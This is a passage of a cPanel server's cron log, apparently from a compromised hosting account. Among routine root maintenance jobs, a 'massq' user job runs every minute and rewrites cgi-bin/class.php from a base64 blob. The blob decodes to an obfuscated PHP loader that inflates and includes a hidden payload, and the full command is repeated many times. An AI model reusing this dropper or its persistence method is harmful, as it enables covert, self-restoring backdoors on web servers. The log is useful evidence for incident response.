QVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:19:01 server CROND[23793]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:20:01 server CROND[23852]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 04:20:01 server CROND[23853]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 04:20:01 server CROND[23855]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 04:20:01 server CROND[23854]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 04:20:01 server CROND[23858]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:21:01 server CROND[23962]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:22:01 server CROND[24011]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:23:01 server CROND[24157]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:24:01 server CROND[24212]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:25:01 server CROND[24294]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 04:25:01 server CROND[24295]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 04:25:01 server CROND[24297]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:25:01 server CROND[24296]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr  7 04:26:01 server CROND[24425]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:27:01 server CROND[24499]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:27:01 server CROND[24500]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 04:28:01 server CROND[24678]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:29:01 server CROND[24738]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:30:01 server CROND[24809]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/cull_bad_shunt)
Apr  7 04:30:01 server CROND[24810]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Apr  7 04:30:01 server CROND[24811]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:30:01 server CROND[24812]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 04:30:01 server CROND[24815]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 04:30:01 server CROND[24814]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 04:31:01 server CROND[24937]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
